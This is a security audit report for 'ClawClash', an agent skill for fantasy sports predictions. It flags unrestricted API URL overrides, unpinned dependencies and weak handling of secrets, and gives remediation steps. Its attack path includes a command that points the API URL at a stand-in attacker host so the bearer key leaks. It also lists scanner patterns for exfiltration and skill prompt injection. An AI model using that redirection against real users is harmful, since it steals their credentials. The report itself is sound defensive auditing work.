ClawClash

• Outcome: Review
• Latest audit: Sep 10, 2026 · 5:52 PM UTC
• Version: 1.1.0

Overview

This looks like a legitimate fantasy prediction CLI, but it needs Review because its API credential can be redirected to an arbitrary API URL and its secret-handling guidance is weak.

Install only after reviewing the credential behavior. Treat the API key and claim link as secrets, avoid passing the key with --api-key on shared systems, do not set CLAWCLASH_API_URL unless it is the official trusted endpoint, and prefer a release with pinned dependencies and clearer secret-handling warnings.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (2)

T09 · Insecure Skill Coding Practices

Error

• Location: clawclash.py:20

Finding

Bearer API Key Can Be Sent to an Arbitrary Server Through an Unrestricted API URL Override

Content

View full analysis

Vulnerability Details

File Location: clawclash.py:20-37
Vulnerability Type: Unrestricted credential destination
Risk Level: High

Vulnerable Code:

python

def get_base_url() -> str:
    return os.getenv("CLAWCLASH_API_URL", DEFAULT_BASE_URL)

def make_request(method: str, endpoint: str, api_key: str = None, data: dict = None):
    """Make API request to ClawClash"""
    base_url = get_base_url()
    url = f"{base_url}/{endpoint}"
    headers = {"Content-Type": "application/json"}
    if api_key:
        headers["Authorization"] = f"Bearer {api_key}"
    
    try:
        if method == "GET":
            response = requests.get(url, headers=headers, timeout=30)
        elif method == "POST":
            response = requests.post(url, headers=headers, json=data, timeout=30)

Technical Analysis

The CLAWCLASH_API_URL environment variable is accepted without validating its scheme, hostname, port, or path. The resulting URL is then used for authenticated requests, with the ClawClash API key included in the Authorization header.

Supporting a configurable endpoint may be useful for development, but unrestricted destination replacement exceeds the minimum privileges required for the declared production functionality. The Skill only needs to authenticate to the documented endpoint, https://clawclash.xyz/api/v1.

An attacker who can influence the process environment or its launch configuration can replace the API URL with an attacker-controlled HTTP or HTTPS endpoint. Authenticated commands will then disclose the bearer credential directly to that endpoint. Allowing HTTP also permits interception by a network-positioned attacker.

Attack Path

1. The victim has a valid API key in CLAWCLASH_API_KEY or supplies one through --api-key.
2. An attacker, malicious wrapper, or compromised launch configuration sets:

   bash

   export CLAWCLASH_API_URL="https://attacker.examp
   

...[truncated 1083 chars]

Remediation

View remediation

Remediation Suggestions

1. Remove CLAWCLASH_API_URL overrides from production builds and always use the declared HTTPS endpoint.
2. If an override is operationally necessary, parse it with urllib.parse.urlparse and enforce:
   • Scheme exactly equal to https.
   • Hostname exactly equal to clawclash.xyz or an explicit, reviewed allowlist.
   • No embedded username or password.
   • No unexpected port.
   • An approved API path such as /api/v1.
3. Reject malformed URLs and fail closed rather than reverting silently.
4. Explicitly control redirects and verify that redirects cannot move authenticated requests to another origin.
5. Separate development endpoint support from production credential use. Test credentials should be scoped and must not work against production.
6. Rotate any API key that may have been used while the endpoint environment variable was controlled by an untrusted party.

T08 · Insecure Dependencies

Warning

• Location: package.json:10

Finding

Unpinned Third-Party Dependency Produces a Non-Reproducible Installation

Content

View full analysis

Vulnerability Details

File Location: package.json:10
Vulnerability Type: Unpinned dependency installation
Risk Level: Medium

Vulnerable Code:

json

"install": "pip install requests",

Technical Analysis

The installation command retrieves requests without specifying an exact reviewed version or validating package hashes. Consequently, the installed artifact depends on the package index, resolver state, configured mirrors, and available package version at installation time.

This is an insecure supply-chain practice because two installations of the same Skill can receive different dependency code. It also prevents reliable review of the precise dependency version that will execute. The risk becomes exploitable if the configured Python package index or mirror is compromised, dependency resolution is redirected, or a future dependency release is malicious or vulnerable.

The package name is not an apparent typo or dependency-confusion name; therefore, the finding is specifically the lack of version and integrity pinning rather than evidence that the current requests package is malicious.

Attack Path

1. A user or automated installer executes the declared installation command.
2. pip resolves requests from its configured package index or mirror without an exact version or hash requirement.
3. The index, mirror, resolver configuration, or future package release supplies an unintended or compromised artifact.
4. The artifact and its transitive dependencies are installed into the Skill's Python environment.
5. Malicious or vulnerable dependency code executes when imported or used by clawclash.py, subject to the permissions of the Skill process.

Impact Assessment

The potential impact is bounded by the privileges of the account running installation and the Skill. A compromised dependency could potentially:

• Read the ClawClash API key available in process arguments or environme ...[truncated 435 chars]

Remediation

View remediation

Remediation Suggestions

1. Pin requests and all transitive dependencies to exact reviewed versions.
2. Store dependencies in a lock file or hashed requirements file generated from a trusted environment.
3. Install with hash verification, for example:

   bash

   python -m pip install --require-hashes -r requirements.txt
   

4. Record SHA-256 hashes for every accepted distribution artifact.
5. Use the official Python package index or a controlled internal mirror with integrity and access controls.
6. Run dependency vulnerability scanning during release and update pinned versions through a reviewed process.
7. Install dependencies in an isolated virtual environment under a non-privileged account.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands

Findings (8)

Credential Access

High

• Category: Privilege Escalation
• Confidence: 70% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · clawclash.py (reported line 85)May include surrounding context.

python

print(f"🔗 Claim Link: {result['claim_link']}")
    print(f"   👆 Send this to your human so they can claim you!")
    print(f"")
    print(f"💾 Save this to ~/.config/clawclash/credentials.json")

def cmd_portfolio(args):
    """View agent portfolio"""

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 92% confidence

Finding

The README tells users to export a live API key (sk_live_xxx) directly into their shell environment without any warning about credential sensitivity, storage hygiene, shell history, or log exposure. While environment variables are a common mechanism, presenting a real-looking live secret pattern in onboarding material can normalize unsafe handling and increase the chance that users leak production credentials into shared terminals, screenshots, CI logs, or support transcripts.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

• Category: MCP Least Privilege
• Confidence: 93% confidence

Finding

The skill uses environment variables and remote API access but does not declare any tool scope, permissions, or allowed-tools constraints. That weakens least-privilege enforcement and makes it harder for hosts or reviewers to understand what capabilities the skill expects, increasing the chance of unintended network or secret access.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 97% confidence

Finding

The registration flow tells the agent to send a claim_link to a human without labeling it as a sensitive account-claim credential or warning against exposing it elsewhere. If that link is logged, posted in chat, or sent to the wrong recipient, anyone possessing it may be able to claim or take over the associated agent account.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 80% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · clawclash.py (reported line 38)May include surrounding context.

python

if method == "GET":
            response = requests.get(url, headers=headers, timeout=30)
        elif method == "POST":
            response = requests.post(url, headers=headers, json=data, timeout=30)
        else:
            raise ValueError(f"Unsupported method: {method}")

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

Printing a newly issued API key to stdout can leak the credential into terminal scrollback, shell session recordings, CI logs, or agent framework transcripts. Because this key appears sufficient to act as the agent, accidental disclosure would allow unauthorized API use.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

Accepting an API key via a command-line argument exposes the secret to local process listings, shell history, and audit logs on multi-user systems. While this is not remote code execution, it can lead to credential theft by other local users or logging infrastructure that captures command invocations.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low

• Category: Not specified by scanner
• Confidence: 98% confidence

Finding

The module docstring says users can predict on "soccer and NBA games," while the manifest description says "football and NBA games." In the actual CLI, supported sport values are only "soccer", "nba", and "all", so the documentation terminology diverges from the stated skill intent and could mislead callers about supported categories.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.